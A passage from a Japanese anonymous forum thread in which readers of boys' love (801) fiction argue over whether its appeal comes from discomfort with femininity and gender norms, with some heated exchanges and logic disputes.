ただそれを意識している人と意識していない（少なくとも表層的には）人がいるだけだ」
という意見？
76:風と木の名無しさん
06/11/06 21:16:35 bHggrpOE0
>>75
多かれ少なかれ、基本的にはそうだと思ってる。
トランスセクシュアルではないかと悩んでる人から、些細なひっかかりを覚えるだけの人まで
違和感の程度はさまざまだろうけど。
それに自覚的である人と、無意識のうちに封じ込めてる人がいるだけだと思ってるよ。
ただ、最近のBLの普及で、本当に全く何の違和感も持ってない人も
８０１を読んでることはあるだろうとは思う。
そういう人は、一過性のものとして卒業していける人じゃないかな。
77:風と木の名無しさん
06/11/06 21:19:58 U4wvT2mu0
>74
どちらかと言うと後者じゃないかな？
ただ、801を読んでる人の中でその社会で生きている上で女性と言うことで
有形無形、強弱の差はあれどこかでジェンダー的規範を押し付けられることは
無い人はいないでしょうが、それにどの程度反発やプレッシャーを感じているかは
人により異なる（常に意識してたまらなくストレスを感じている人から、その存在は
常に感じているが慣れや諦め等の理由から軽減している人、その存在を顕在意識に
感じるほど負に感じていないで順応している人など）。
ただ801ってJUNE時代とかから苦しんでる人の割合が多く見えるし、実際そういうネタも
多い気がする。
それを全く考慮に入れない発言はそういう人の反発を受けやすいと思うし、逆に前者の
感じている人も後者の場合もあるってことで流してないと平行線にしかならないと思う。
78:風と木の名無しさん
06/11/06 21:30:45 ZpvZIL6z0
違和を感じて初めて思考するわけだから、違和感感じない→思考停止ってのはおかしいんでない？
それに思考停止っていうけど考えないこと即ち悪ではない。
たとえば四六時中人生について考えてたらそもそも人生が成り立たないんじゃないか。
それはさておき、
女性性に違和感→801 はあっても
801→女性性に違和感 は強引過ぎだと思う。
女性性に違和感や葛藤があっても801を好まない人が居ることを考えると
両者をイコールで結ぶべきではないと思う。
801の読み方、好みの方向性まで多岐にわたるのに
801を読む理由だけはみんな同じでないといけないの？
79:風と木の名無しさん
06/11/06 21:40:07 Ksy+gBjN0
801を好む人はこうあるべきだ、という考え方は
女はこうあるべきだ、という考え方と同じじゃないの？
どちらも多様性を否定してる。
80:風と木の名無しさん
06/11/06 21:41:15 bHggrpOE0
>>78
じゃあ、そういう人は、何で自分の身体を物語の中に持ってこれないのかの
説明をしてほしい。
自分の身体をどこかにやっちゃわなければ、物語にのめりこめないのは何故？
いい男が２人いれば２倍お得！なら、男２人と女１人の３Pでもいいわけだ。
女１人に複数の男が言い寄ってくる、乙女ゲーみたいな設定でもいいよね。
81:風と木の名無しさん
06/11/06 21:52:04 O0tQNkSZ0
>>80そういうがどこを指すかわからないのだが。
私の言いたいのは、何故801を読む理由をたった一つの型に押し込めないといけないのかってことだよ。
違和感を感じる人と感じない人両方あってかまわないのに、どうして「本来」とか「無意識」という言葉で、
あなたの801読みの定義に当てはまらない人を否定しようとするのかってことだよ。
82:風と木の名無しさん
06/11/06 21:53:28 bHggrpOE0
>>81
納得できる意見を見たことがないから説明してほしい、ということが
あなたにとってはそんなに不快なことなの？
83:風と木の名無しさん
06/11/06 21:56:31 oGW/UXsk0
いや、だからどこを説明してほしいのか読み取れないって言ってるんだけど。
あなたのいう「そういう人」は私の文のどこを指すの？
84:風と木の名無しさん
06/11/06 21:57:20 bHggrpOE0
>>83
そんな頻繁にID切り替えたら、あなたが誰か分からんやん。
85:風と木の名無しさん
06/11/06 22:02:53 KHG9SqUI0
78＝81＝84だよ。
パソコンからじゃないからID固定されなくてすまないが。
86:風と木の名無しさん
06/11/06 22:03:32 Ksy+gBjN0
>>84
あなたは説明してもわからない人だと思う。
なぜなら理解しようという気が全くないから。
あなたは自分が人間だということに違和感をもってるの？
持ってないのなら、女であることに違和感を感じていない人の感覚はそれ。持っているのなら
801が女である自分への違和感から来るものなのなら、人間としての違和感からは何が来てる？
87:風と木の名無しさん
06/11/06 22:05:01 TlYS+r2T0
>>77
それって別に801好きにかぎった事じゃないよね
801好きの人はどうして801好きなんだろうっていうのは
わりと通る道だと思う。JUNEも読んでたし温帯の本を読んだりした
けど明確な答えは出なかった。801から離れた時期もあったり
もどってきたりしてるけど、今はほかの分野の作品を読むのと
変わらないんだよね。一番近いのが少女漫画を読む感じに近い
77さんの言葉でいうと順応なのかな
順応してれば違和感を感じなくて当然じゃないのかな
根本的に違和感があるのを押し隠してるっていうのかもしれないけど
それは801好き特有のものじゃなくて、思春期の時にいろいろ考える
のと大差ないと思う
88:風と木の名無しさん
06/11/06 22:17:48 esK+ws5o0
bHggrpOE0の中で腐兄の存在はどうなっているのだろうか
腐兄も同じ理由で801読んでると思ってるの？
89:風と木の名無しさん
06/11/06 22:19:23 bHggrpOE0
>>85
あなたは、女性性への違和感を感じていない人も８０１にのめりこんでいると考える、
という立場の人だよね？
「そういう人」は、あなたの特定の一文を指してるのではなく、
あなたの文全体を受けた上での、
「女性性に違和感を感じていないが８０１にのめりこんでる人」と取ってもらえればありがたい。
で、女性性への違和感を感じない人が８０１にのめりこむとして、
女性性への違和感がないなら、何で自分の身体を物語の中に持ってこれないかの
説明をしてもらいたいわけだ。
巷間よく言われる、男が喘いでるところが見たい、とかならペニバンじゃ何でダメなの？と思うし
女に押し倒されるような男は嫌、なら、
女は男を押し倒してはいけない、男は女に押し倒されてはいけない、という
社会規範との摩擦みたいなのが垣間見えるじゃん、と思うわけよ。
90:風と木の名無しさん
06/11/06 22:27:46 Ksy+gBjN0
>>801
なんで女性性への違和感を感じていても、801に走らない人がいるの？
91:風と木の名無しさん
06/11/06 22:28:14 e7TO2fDS0
女性性への違和感＝女はこうだって決めつけられるのが嫌
って、そういう事を一度たりとも考えた事が無い女の方がレアでは？
誰だって（特に思春期の頃は）通る道でしょ、それ。
801なんて全く興味が無い人であっても。
勿論人によって強弱の違いはあるだろうけど。
92:風と木の名無しさん
06/11/06 22:30:04 bHggrpOE0
>>90
必要条件と十分条件の違い
で、私の質問には回答できないの？
93:風と木の名無しさん
06/11/06 22:33:20 U4wvT2mu0
>87
女性性に違和感イコール801、と言うわけではないと思う。
根本的に違和感をずっと感じ続けるわけではないしね。
ずっとしこりになって感じ続ける人もいれば時間が解決する（もしくは
そこまで感じなくなったり慣れたり）こともあるし。違和感を違和感として
そのまま飲み込んで生きることだって可能だし。
ただ、やっぱりそこに全力投球でそれをテーマのようにして801を読み書きしている
層は厳然としてあると思う。
なんか陳腐だし何の解決にもならんが結局「人それぞれ」にしかならんような気がしてならない…
94:風と木の名無しさん
06/11/06 22:39:30 GlBgFQ7o0
>>なんで女性性への違和感を感じていても、801に走らない人がいるの？
>>女性性への違和感＝女はこうだって決めつけられるのが嫌
>>って、そういう事を一度たりとも考えた事が無い女の方がレアでは？
あ～なるほど、そう考えると
「山ほどいるであろう女性性に違和感を感じている女の中で、
何故801者だけが801に走るのか？」
って設問も可能だわな。これは考えたことなかったなあ…
95:78
06/11/06 22:45:40 rzrTIjKu0
>>89
私の主旨は、つきつめると「多様性を否定しないで欲しい」なんだけど……。
それでも私が「違和感ない人が801を好む理由」を証明しなきゃならないの？
女性性に違和感＝801だと思ってるからそうじゃない人の説明を求めてるんだろうけど
そもそもイコールだと思わない人はあなたに説明する言葉をもたないと思う。
好きな理由を求められても好きだからとしか言えない。
そこを考えるスレではあるけど、最初に結論ありきでは順番が逆だ。
96:風と木の名無しさん
06/11/06 22:47:50 bHggrpOE0
>>95
＞好きな理由を求められても好きだからとしか言えない。
だったらこんなスレ必要ないじゃん。
その理由を突き詰めて考えよう、という主旨のスレじゃないの？
97:風と木の名無しさん
06/11/06 22:53:25 bHggrpOE0
＞そこを考えるスレではあるけど、
も書いてたんだな。すまんね。さすがにちょっと疲れてきた。
98:風と木の名無しさん
06/11/06 22:54:10 Ksy+gBjN0
>>96
>>1を見た？
>>腐女子･腐兄が８０１やその他のエロについて考察するスレ
女性性の否定→801、というスレではありません。
99:風と木の名無しさん
06/11/06 22:55:47 bHggrpOE0
>>98
煽るだけなら書き込まなくていいから
100:風と木の名無しさん
06/11/06 22:57:57 e7TO2fDS0
ジェンダー・セクシャリティ系のブログとかが好きで、
そう言う話題が出ている所をよく読むけれど、
女性性への違和感を語る女性（大勢居る）の属性は本当に色々。
腐女子も居れば男性向け二次元エロ好きも居れば実写AV好きも居れば
エロ興味ない人も居るし恋愛物語自体に興味が無い人も居る
801好きだけが特別に「女性性への違和感を持つ人が多い」とは思えない。
101:風と木の名無しさん
06/11/06 23:00:27 Ksy+gBjN0
>>99
都合の悪いレスには「煽り」か「無視」？
102:風と木の名無しさん
06/11/06 23:01:22 U4wvT2mu0
ただ、そこを底にした話って展開しやすいんだよね、正直。>ジェンダー
男同士って設定が親和性あるのかもしれん。
103:風と木の名無しさん
06/11/06 23:02:30 bHggrpOE0
>>101
それで、何で質問に回答してくれないのかなー
回答できないことの言い訳なら、転送量の無駄だし、いらんよ。
104:風と木の名無しさん
06/11/06 23:05:06 3pCD01Xg0
女性性に違和感がある人がおおいなら
もっと雄々しい男同士がはやると思う
105:風と木の名無しさん
06/11/06 23:06:18 Ksy+gBjN0
>>103
だから回答してるよ。
「あなたは理解しようと思ってない。だから理解できない」
あなたは前の方で違和感を感じないことは思考停止、と言ってる。
だから私はそんなにいろんなことに違和感感じてれば（当然ですよね。そうでなければ思考停止
なんだから）そりゃ疲れるでしょう、と言った。もちろん私は大概のことにそんな違和感は感じない。
そして「人間であることに違和感を感じますか？」と聞いている。私は人間であることを自然と感じる
ように、女性性を自然に受け止めているから。
感じるの？感じないの？どちら？
感じないのならそれは思考停止ってことになるんじゃないの？感じるのなら、それはどんな形であ
なたに影響が出ているの？女性性への違和感が801という形で表現されてるように。
106:風と木の名無しさん
06/11/06 23:08:08 bHggrpOE0
>>105
それ、回答できないことの言い訳じゃん。
転送量の無駄
107:風と木の名無しさん
06/11/06 23:10:15 Ksy+gBjN0
>>106
別にあなたが違和感を感じることはそれはそれで別にいいんだけど、押しつけられるのは嫌です。
あなたはあなた、私は私、他の人もそれぞれ別の人。
行動の要因も、趣味も、嗜好も、人それぞれ。それが当然。
あなたは理解できないんじゃなくて、知ってるけどをそれを受け入れることを拒んでるだけに見える。
108:78=95
06/11/06 23:12:07 sM0+yL6p0
私の考えでは、801が好まれる理由のうち、女性性への違和感は30～50％は占めてると思う。
これは主観なので人によってパーセンテージは違うだろうが、それでも100ではないだろう。
その、「女性性への違和感でない部分」についての考察や、その部分を求めて801を好きな人がこぼれ落ちるから、
801＝女性性への違和感(や葛藤)と言い切るのは待ってほしい。
94の言う「女性性への違和感を抱くもののうち、801者だけが801を選択するのは何故か？」という設問を
違和感＝801の等式では説明できないと思うんだよ。
109:風と木の名無しさん
06/11/06 23:15:34 bHggrpOE0
>>107
人それぞれで終われば、こんなスレは不要、という話。
女性性を自然に受け止められるなら、８０１なんか必要ないのでは？
男男の物語には、あなたの身体の入る場所はないよ。何でそういう物語を求めるの？
それとも、８０１は別に好きじゃない人？
>>108
必要条件と十分条件って言ってんじゃん。誰が等式で結んでるって？
110:風と木の名無しさん
06/11/06 23:19:27 Ksy+gBjN0
>>108
複合的な要因なんだと思うよ。
ここまでジャンルやタイプが広がっているわけだから、801や腐女子というくくりのなかで
そういう考察は厳しいと思う。
好きな801やカップリングの傾向ごとで、というのなら少しは絞れるだろうけど、それもかな
り範囲を狭めないと重なる部分が少なくなるし。
111:風と木の名無しさん
06/11/06 23:28:05 JsysdoLg0
>>108
801ってもともと漫画とか小説からはじまったんだよね
だったらそういうのが好きな人は801にはいるし、興味ない人は
ほかの方面にいくだけじゃない
ヲタク気質かそうでないか
112:風と木の名無しさん
06/11/06 23:44:54 JsysdoLg0
>>109
必要条件と十分条件ってどういう意味？
等式じゃないってことは違和感をもってない人もいるってことを
認めるって事？
113:風と木の名無しさん
06/11/06 23:46:15 Be8XvKQ+0
>>105
ここまでロムってたけど、確かに「決めつけないで欲しい」だけでは
意見に説得力ないと思う。反証しようよ。
114:風と木の名無しさん
06/11/06 23:46:50 e7TO2fDS0
>>2のまとめだけ読んでも
「女性性への違和感」以外の理由が多数混じっているような気がするんだが
>>111
今でもヲタ系漫画・小説に興味持たない人は存在すら知らないだろうね＜801
115:風と木の名無しさん
06/11/06 23:52:48 2zJcIrX0O
>>112
小学校の算数の時間からやり直そうよ…
煽るつもりじゃなくて、マジで
116:風と木の名無しさん
06/11/06 23:54:44 JsysdoLg0
>>115
煽るつもりじゃないなら答えて
117:風と木の名無しさん
06/11/06 23:56:56 Ksy+gBjN0
>>116
URLﾘﾝｸ(www002.upp.so-net.ne.jp)
参考にどうぞ
>>115
小学校では習わないよ。
118:風と木の名無しさん
06/11/07 00:01:41 QIPpT5v60
証明できないものに必要も十分もないよ。
Aが801好きである→Aが女性性に違和感がある が常に正しく
Aが女性性に違和感がある→Aか801好きである が間違いであれば
Aが801好きであることはAが女性性に違和感があることの十分条件であるといえる
けど、そもそも「Aが801好きである→Aが女性性に違和感」が証明されてない。
801好きだが女性性に違和感がない人がいることが既に反証になってる。
最初に801好きがいて801が好きな理由を考えてるのに、
条件にあてはまらないから801好きではないなんて本末転倒もいいとこ。
結論が先では順番が逆だって言ってるのに。
119:風と木の名無しさん
06/11/07 00:10:24 4RW1c+xy0
男でレズモノ好きが男性性に違和感感じてるかっていうと、
ほとんどそんな人いないんじゃないかな？
ただ単に、女同士が絡んで2倍ウマーなだけなんじゃないかと。
自分は男じゃないから想像でしか言えてないけど、
それと同じ感覚の女性が８０１好き層にも存在すると思うんだ。
自分自身が、女性性に違和感感じて801好きな分類に当てはまる立場なんで
これも想像でしかない。
したがって説得力はないんだけど、自分とは違う理由ではまってる人もいる、ってことは
なんとなく理解できる。
120:風と木の名無しさん
06/11/07 00:10:48 WqHHHoBT0
私の時代は、必要条件、十分条件、必要十分条件は中学でやった。
いまは高校なのか。
>>118
そこまで言うなら、言葉は厳密に扱うべき。
× 801好きだが女性性に違和感がない人がいること
○ 801好きだが女性性に違和感がないと主張している人がいること
121:風と木の名無しさん
06/11/07 00:17:18 O1SlOXXX0
>>120
どちらも厳密にどうぞ。
801好きで女性性に違和感があると主張している人がいること、ってね。
122:風と木の名無しさん
06/11/07 00:18:12 WqHHHoBT0
>>121
それでいいと思うよ。別にそのことに対する異論はない。
123:風と木の名無しさん
06/11/07 00:20:10 WqHHHoBT0
× 801好きだが女性性に違和感がない人がいることが既に反証になってる。
○ 801好きだが女性性に違和感がないと主張している人がいることは反証にはならない。
おｋ？
124:風と木の名無しさん
06/11/07 00:22:30 b1f/N/+50
>>117
読んでもよくわからん
もっと優しい言葉で言って
125:風と木の名無しさん
06/11/07 00:34:14 O1SlOXXX0
検証と反証の非対称性
126:風と木の名無しさん
06/11/07 00:35:15 w6//KooK0
>>119
私は、女の８０１に対応する男向けエロものは、ロリじゃないかと思う。
人口のボリュームから言っても。
レズは分からんが、ロリのほうには社会との軋轢とか男性性のスポイルへの恐怖とか
何か色々ありそうだ。まあ、外野の印象論だけど。
127:風と木の名無しさん
06/11/07 00:57:22 oHq0f8S10
>>126
その意見が合っているのか、間違っているのか、それとも正解なんて無いのか、は分からないけど、
最初の方のスレで、まだ男の書き込みが結構有ったときの、男性の意見としては、殆どの人が違うと書き込んでたよ。
とはいっても、対応ってのが微妙すぎてよく分からないけどね。
18禁同人の売れ筋とか言うなら、ロリがそうと言える気がするし。
128:風と木の名無しさん
06/11/07 01:04:31 w6//KooK0
>>127
違うというのは、対応の部分？それとも社会との軋轢以下の部分？
ヲタク論やヲタを扱った社会論の類では、ヲタ男は幼女をいじりたいだけでなく
無垢で可愛らしい幼女そのものになりたいのだ、という言説もよく見るね。
手元に資料ないので、ソースはすぐには出せないけど。
129:風と木の名無しさん
06/11/07 01:37:04 fy3tljFa0
>>123自己申告では証明の根拠にはならないということ？
無意識化で違和感を感じている場合があるから反証にはならないという解釈でよろしいか。
まあ、違和感を感じてないのに「違和感がある」という人はいないわな。多分。
でも無意識とか言い出したらそもそも議論にならない。
無意識も考慮に入れて反証できない定義は真とするならば、言ったもの勝ちすぎる。
それに厳密さをいうなら、「801→女性性に違和感」を条件の根拠にする人が
それが常に正しいという証明(無意識込みで女性性に違和感がない801読みはいない)を先にしてくれないとね。
条件の話をしている本人もそういう厳密さは求めていないと思うけど。
というか、結局のところ「条件を勝手に定義してあてはまらない人を否定するな」
「多様性を否定することは議論の硬直化を招く」と言いたいわけで。
130:風と木の名無しさん
06/11/07 01:41:00 oHq0f8S10
>>128
対応の部分。
あと、801とエロ同人を比較するのが、そもそもおかしいって人らも結構いた。
131:風と木の名無しさん
06/11/07 01:49:41 ltec4Po30
上のほうでも書いてる人いるけど、認めてほしいならちゃんと反証すればいいじゃない。
反証もしないでおいて、多様性だから認めろ、って、それって議論スレの態度？
つか、一体何で反証できないの？
反証もできないようなものを多様性として認める議論スレも、どうかと思うよ。
132:風と木の名無しさん
06/11/07 02:06:19 mCzo084S0
自分は違うと主張することが反証にならないなら何を言えばいいのさ……。
説明しろ説明しろって、何言っても否定する人が納得する説明なんてできるわけない。
反証をしていないのではなく、聞くほうが聞きたいことしか聞いていないだけ。
自分の存在を否定するなって言う人がどうして自分の存在証明を先にしなきゃいけないのさ。
「私は○○好きである」という人に「あなたは○○好きではない」と言うことがどれほどの暴力だかわかってんの？
多様性って証明するべきものじゃないでしょ。
こっちは女性性への違和感を感じる人がいることを否定してないのに
「女性性に違和感がない８０１読み」はなんで自分を否定する相手に自分の存在をわざわざ証明しなきゃならないのか。
いじめが嫌ならいじめるべきでない理由をいじめっこに説いて説得すべきなのか？
ふざけんな。
133:風と木の名無しさん
06/11/07 02:11:19 ltec4Po30
>>132
まあ、そんなレスでは、全然得心いかない。
つーか、議論にも何もならないね、それでは。
特に最後の行。
134:風と木の名無しさん
06/11/07 02:30:27 WPF75rqN0
煽りはスルーのはずではなかったか。
女性性に違和感がある人＝８０１読みってことで納得してるんなら
そう思ってればいい。
135:風と木の名無しさん
06/11/07 02:48:33 wBq4DG1F0
自分と８０１のスタンス、８０１のどこが好きでなぜ自分に必要かなど
率直に書いてれば共感を得られたかも知れないのに、
それには一切触れず、というか半ば逃げ、ただ認めろ、多様性だ、の繰り返し。
それも何度も同じレスを繰りかえすばかり。あげくの果てに「ふざけるな」？
そういう人は、女性性がどうとかはともかく、
社会的にはかなり軋轢のある人なんだろうな、と判断せざるを得ない。
136:風と木の名無しさん
06/11/07 03:14:50 ULGz4i6n0
>>132
というか、誰も「801好きである事」を否定はしてないのにそこを勘違いしてない？
「どうして女性性に違和感がないと言えるのか」の説明を求められてるんだよ。
「女性性に違和感がある」というのはどの程度の事なのかを
まず議題にしてみたら？議論してる人たちは。
137:風と木の名無しさん
06/11/07 06:06:36 EurlnTKY0
まともに反論しても無駄っぽいから、あえて人格攻撃すると
レスの内容から見てもまともに自己分析できないんじゃないかな。
「私は女性性に違和感ない」ってそりゃ当然ないだろう。
138:風と木の名無しさん
06/11/07 07:20:01 wZ4W2aln0
女性性に違和感じゃなくて他人から決めつけられるのが嫌な人
って事ですか？
139:風と木の名無しさん
06/11/07 08:16:01 ymZSbel9O
夜通し朝まで大暴れ、深夜に逆ギレ。
そこまでヒステリックに、私は女性性に違和感なんか持ってない！と大声で主張しなければならない理由が、
まあ彼女にはあるのだろう。
140:風と木の名無しさん
06/11/07 08:52:10 O1SlOXXX0
自己申告が根拠にならない、というのであれば、あらゆるこのスレ（のみならずこの板…どころじゃないか）
での「私はこうだからこうだ」という意見は全く論拠とならない。
となると、議論そのものが成立しない。
なぜ何十年と結論が出ない問題（中島梓のﾀﾅﾄｽの頃から既に「あれは昔の人はそうだろうけど、みんなが
みんな自分と同じ理由で801に走ってるような書き方されてもね…」という意見も多かった）がこのスレ一つ
で結論が出るわけもなし。
もちろん事実を正確に把握していない側の客観、当事者の主観もそのまま持ち出しても意味がない。
正確な結論というのは、きちんとサンプルとして適当な数を抽出して統計もとる、個々の意識を専門家がき
ちんと見て、分析する。その上でないと出るわけがない。
プロでさえ「自分の分析は主観が混じるのでやらない」という意識の問題を素人が出来るわけがない。
141:風と木の名無しさん
06/11/07 10:17:42 RqPpYE4F0
女性性に違和感、っていうのも、ここでどういう状態を指すのか曖昧みたい…
私は肉体的にはなんも感じた覚えがないなあ。
不二子ちゃんになりたいし。今でも。
エチーも大好きだし…
社会的性差は、仕事が好きな女性で思わない人はいないだろうなー
142:風と木の名無しさん
06/11/07 10:44:06 3y8Jz6+L0
「女性性への違和感があるかないか」より、先に言葉の定義をしないとね。
議論をするなら。
あと「801を好きになった理由」と「801を好きで居続ける理由」は違うと思う。
多くの人が思春期の性への違和感から801に入るとしても、、
大人になってからも好きで居続けるのは
性への違和感は関係ない事も多いんじゃないかな。
143:風と木の名無しさん
06/11/07 12:39:55 4RW1c+xy0
>142
女性性への違和感だけじゃなく、現実の男性性に対する理想との違和感
っていうのもあると思う。＞大人になってからも好きで居続ける
自分の場合は前者と後者がミックスされていると思ってる。
そこで自分の理想の社会である８０１ワールドを構築して
それを常にどっか心の拠り所というか避難所として残しておくことによって、
現実世界に対応して生きていく上で精神的なバランスをとっているように感じる。
８０１が好きになった理由も、好きで居続ける理由も、自分はどちらも同じだな。
144:風と木の名無しさん
06/11/07 12:44:37 XTyA3OVv0
なんで８０１が好きか。
それはそこに８０１があるから、です。
山があれば登りたくなるのが山男なら、
８０１があればふらふらひきよせられるのが腐
山で死にかけても、また山男は山へ登る
世間でどう評価されていても、腐は８０１へ走る
やめようと思って、一度絶っても、またいつのまにかふらふら～っと。
145:風と木の名無しさん
06/11/07 13:26:10 RqPpYE4F0
>>143
＞現実の男性性に対する理想との違和感
この意見は初めて見たなあ。
>>144
>それはそこに８０１があるから、です。
無くても妄想するよねＷ
アイドルのコンサートに行くと、男アイドル同士でくっつくときゃーって歓声が上がるのね
「好きな男同士でなかよくしてて欲しい、その図に萌える」
っていうのが私の801好きの理由かなあ
男同士でエロなら二度おいしい、みたいな。なんか軽いけど。
146:風と木の名無しさん
06/11/07 14:42:01 P40T9zaY0
＞現実の男性性に対する理想との違和感
太田忠の「Ｊの少女たち」という小説で、腐女子がこんな事を語っていた。
「白馬の王子様を信じられなくなった少女が、このジャンルに手を出す」と。
この辺なんか、そうなのかも。
あと、前スレ辺りに「男性が女性に向ける性欲」に嫌悪感を抱くという人がいたが、そういう人が抱く感情かも。
147:風と木の名無しさん
06/11/07 15:03:09 XTyA3OVv0
>>145
それはそうだね。
×８０１があるから
○ネタがあるから
148:風と木の名無しさん
06/11/07 16:57:59 Iei82xxd0
私なんかは女性性への違和感ってのよりも
現実の男性性に対する理想との違和感の方がしっくりくるなあ。
むしろ理想の人間性・世界観の追求って方が近いのかな。
149:風と木の名無しさん
06/11/07 18:00:00 3y8Jz6+L0
＞現実の男性性に対する理想との違和感
ってわかりやすいけど、それなら少女漫画でいいよね。
＞現実の男女関係に対する理想との違和感
が、私の場合は近いかも。
150:風と木の名無しさん
06/11/07 23:01:33 d8MRHINw0
>ヒステリックに、私は女性性に違和感なんか持ってない！と大声で主張
どっちもどっちに思えるけどね
ヒステリックに、私は女性性に違和感なんか持ってるのが普通！と大声で主張してるようにも見える
私はどっちかっていうと違和感を持ってる派だけど、特に持ってないという人はそれはそれでいいと思う
理想の恋愛関係を描く作品が男男の作品に多いというのが、やおいを読む理由かな…
少女漫画では鼻で笑いたくなるようなエピソードでも、やおいだと読める不思議
やっぱり脳内で勝手に「これは特に現実離れしている話だ」というフィルターかけてるからなんだろうか
151:風と木の名無しさん
06/11/07 23:04:34 hBfxPxpy0
蒸し返すのもあれだけど、
説明を求められてるのに、それをせずに難癖つけて逃げまくり
あげくの果てに逆切れなんかしてるから、馬鹿だと思われてんでしょ。
ここは超能力者の集うスレじゃないんだから、
自分の意見を他人に分かってほしいなら、ちゃんと言語化して
説明しなければ、分かってもらえないよ。
152:風と木の名無しさん
06/11/07 23:11:14 d8MRHINw0
ﾌｰﾝそういう人もいんだな、で流してたもんで…
説明説明いっても言えなそうな人なら、馬鹿とか言わずに
スルーしたほうが変にｽﾚ長くならなくいいかと
153:風と木の名無しさん
06/11/07 23:25:53 XTyA3OVv0
>>151
人のことを馬鹿というのは…
わかっていて蒸し返してるし…
154:風と木の名無しさん
06/11/08 01:03:27 xq+8xK6L0
あんな煽りに真面目にレスしてる人達はえらいなーと思って見てた
説明しろと騒いでる人、あれで本気で議論してる気だとちょっと怖い
155:風と木の名無しさん
06/11/08 01:24:58 PiB/j8Fb0
そしてまた蒸し返す>>154
156:風と木の名無しさん
06/11/08 02:14:36 SHcSP5A10
>>151-155
もういい加減やめない？
どっちもどっちって事でそろそろ終わらせて欲しいと思う。
傍から見ると、全く噛み合ってない様に見えるよ。
157:風と木の名無しさん
06/11/08 03:09:13 OHM3vyNd0
ていうかいい加減うざい。
難癖付けて罵倒してんのも煽ってんのも両方出て行け。
158:風と木の名無しさん
06/11/08 03:13:58 bXmCNSuI0
スレが動いるわけでもないところへ、出て行けだとか煽る>>157も、大概だと思う。
159:風と木の名無しさん
06/11/08 03:33:36 D2tCaAbu0
腐女子は議論できないと他板でよく叩かれてて
そんな事ないだろと思ってたけど、この流れ見てると
女には本当に議論は向かないのかと思えてくる。
議論に向いてない素材ではあるけどね801って。
女性性への違和感
男性や男女関係への失望
これは801と深く関わってると思うけど、>145的なのはまた別？
好みの男と男が一緒にいるだけでドキドキする心理。
160:風と木の名無しさん
06/11/08 04:09:15 TBweJKiE0
あれ？
私は女性性への違和感を持ってます。
で、それ故にだと思うのですが801に強く違和感を感じます。
161:風と木の名無しさん
06/11/08 08:15:45 3qDeSysYO
>>160
その意見は初出だと思うのでｋｗｓｋ
関係ないけど、ここで、あ～分かる分かる系のレスがつくのでは、議論スレじゃないよね。
まあ分かるような気はするけど、
ちゃんと本人の口から説明を聞きたい。
162:風と木の名無しさん
06/11/08 10:22:28 cRGw9gJD0
>160
男女関係をそのまま男男に置き換えたような形に違和感感じるってことかな？
別にそれ男女のままでもいいじゃん、なんでわざわざ男同士にするの？
っていうようなこと？
違ったらｽﾏｿ。
163:風と木の名無しさん
06/11/08 10:41:34 TBweJKiE0
>>162
160ですが、その通りです。
164:風と木の名無しさん
06/11/08 10:53:54 PoAYz3bZ0
だとすると、「それ故に」って流れがちょっぴり解らん。
165:風と木の名無しさん
06/11/08 11:47:21 fBKbTXV30
>>163
違和感は感じるけど好きなん？
でもまあ、それ男女でいいじゃん、っていうのは
腐女子だけどよく感じるＷ
166:風と木の名無しさん
06/11/08 11:56:17 D2tCaAbu0
801への違和感は感じてない人は皆無じゃないかｗ
それは女性性への違和感からというより、
あまりに現実からかけ離れたファンタジーだから
という人が殆どだろうけど。
167:風と木の名無しさん
06/11/08 12:40:51 G2rTCDuD0
つか、「女性性への違和感」って結局何なのさ。
そもそもここで言う「女性性」って？？
168:風と木の名無しさん
06/11/08 13:38:14 SH1g1pBk0
あくまで「自分は」だけど、私は多分無駄に自意識過剰なんですよ
女であることを刷り込まれてるっていうか、半端に「女の子だから」って
言われ続けて育ってきて、世間一般定番のいろいろいな「女であること」への
しがらみに今でも自分自身を拘束している部分が多い
なので、ホント嫌な話なんだけど物語を読むと女キャラクターに対してだと
ものすごい色んな突っ込みいれたくなったりしてしまう
少女漫画でも女が一切でてこない話とかだと、妙に安心して読めたりするし…
女だから、女だし、って自制してる部分を、やおいで解消してる面も多いんだと思う
わかりづらい長文でｽﾏｿ
169:165
06/11/08 14:03:39 fBKbTXV30
>>166
>801への違和感は感じてない人は皆無じゃないかｗ
え、どういう意味だろう
好きなら別に感じないような
170:風と木の名無しさん
06/11/08 16:36:10 V+at8TSq0
166じゃないけど。
どれだけ８０１に傾倒していて、物語の中では男女より男男のほうが
自然だと考えていても、「こんなん現実であるわけネージャン」って
のがついてくる…ってことでないの？
男女の、ＴＬはよく知らないけど、レディコミなんかだと変に現実味のある
恋愛や結婚、なんてのが出てきたりするわけだし。
あるわけネージャン、って安心できるのが８０１でないのかな。
まあ、色々混同しているお嬢さんがいるのも確かだけど…。
171:風と木の名無しさん
06/11/08 17:26:54 PoAYz3bZ0
>>163
社会から、また、自分からも>>168で言われるような視線は発せられているように感じていて、これにつよく違和感を覚える。
で、８０１作品は、恋愛の関係を男男に置き換えることで、この性的な視線を牽制したはずなのに、
蓋を開けてみりゃ、そうして除去したはずの「女性性」は、受が継承したままで居るじゃん、
っていう解釈で良いんだろか。
172:165
06/11/08 18:19:11 fBKbTXV30
>>170
801はファンタジー、って話かな。
それを違和感と呼ぶのは珍しいと思うなあ
173:風と木の名無しさん
06/11/08 20:34:47 W8vP3eEE0
>>170
あなたは世の中に同性愛者なんてものはいないと思ってんの？
８０１に描かれる恋愛に現実味が乏しいことと、
「男と男の恋愛なんか現実にはありえない！」というのは、全然別の話だと思うけど。
レディコミだって、現実にはありえないような荒唐無稽な話はいくらでもあるでしょ。
男と男の恋愛物語には、自分（女）はどう転んでも現実には参加できない、
というのが、８０１とレディコミの決定的な違いではあるけどさ。
174:風と木の名無しさん
06/11/08 20:43:22 a90Rz78X0
>>173
あの、ここでは801の話をしてるので…
170も同性愛が存在しないなんていってないわけで
175:風と木の名無しさん
06/11/08 20:48:06 W8vP3eEE0
>>174
１７０は、レディコミ＝現実、８０１＝ファンタジー
というスタンスで書いてるんじゃないの？
レディコミだって別に現実を描いたものでも何でもなく、ファンタジー。
身辺雑記的な漫画はまだしも、セックスを中心に扱ってるものなんか
８０１並みの荒唐無稽さでしょ。
だから、どちらも等しくファンタジーでしょ、という話。
176:風と木の名無しさん
06/11/08 21:00:38 MsVMzmXw0
>>175
ベースからしてファンタジーか…８０１
ベースにはリアルがあるか…レディコミ
ということじゃない？
荒唐無稽のレベルが違うということで。
177:風と木の名無しさん
06/11/08 21:15:53 W8vP3eEE0
>>176
８０１がベースからしてファンタジーという意味は？
そもそも、登場人物の性別だけが、リアルとファンタジーを分かつものなの？
女である以上、男と男の恋愛物語に参加できることは絶対にありえない、
